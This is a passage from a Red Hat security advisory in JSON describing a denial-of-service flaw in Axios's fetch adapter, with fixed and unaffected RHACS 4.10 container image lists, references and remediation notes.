"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487949"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. When using the fetch adapter, Axios did not properly enforce configured request and response size limits. This vulnerability allows a remote attacker, through a malicious or compromised server, or by supplying a large data URL, to send or receive oversized data bodies. This can lead to resource exhaustion in server-side applications, resulting in a Denial of Service (DoS).",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Denial of Service due to unenforced request and response size limits",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A denial of service flaw was found in Axios, a JavaScript HTTP client library. This issue arises when applications utilize the `fetch` adapter, as configured request and response size limits are not properly enforced. A remote attacker could exploit this by sending or receiving excessively large data bodies, leading to resource exhaustion and potential denial of service in affected server-side applications.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "RHBZ#2487949",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487949"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf"
}
],
"release_date": "2026-06-11T15:37:38.013000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
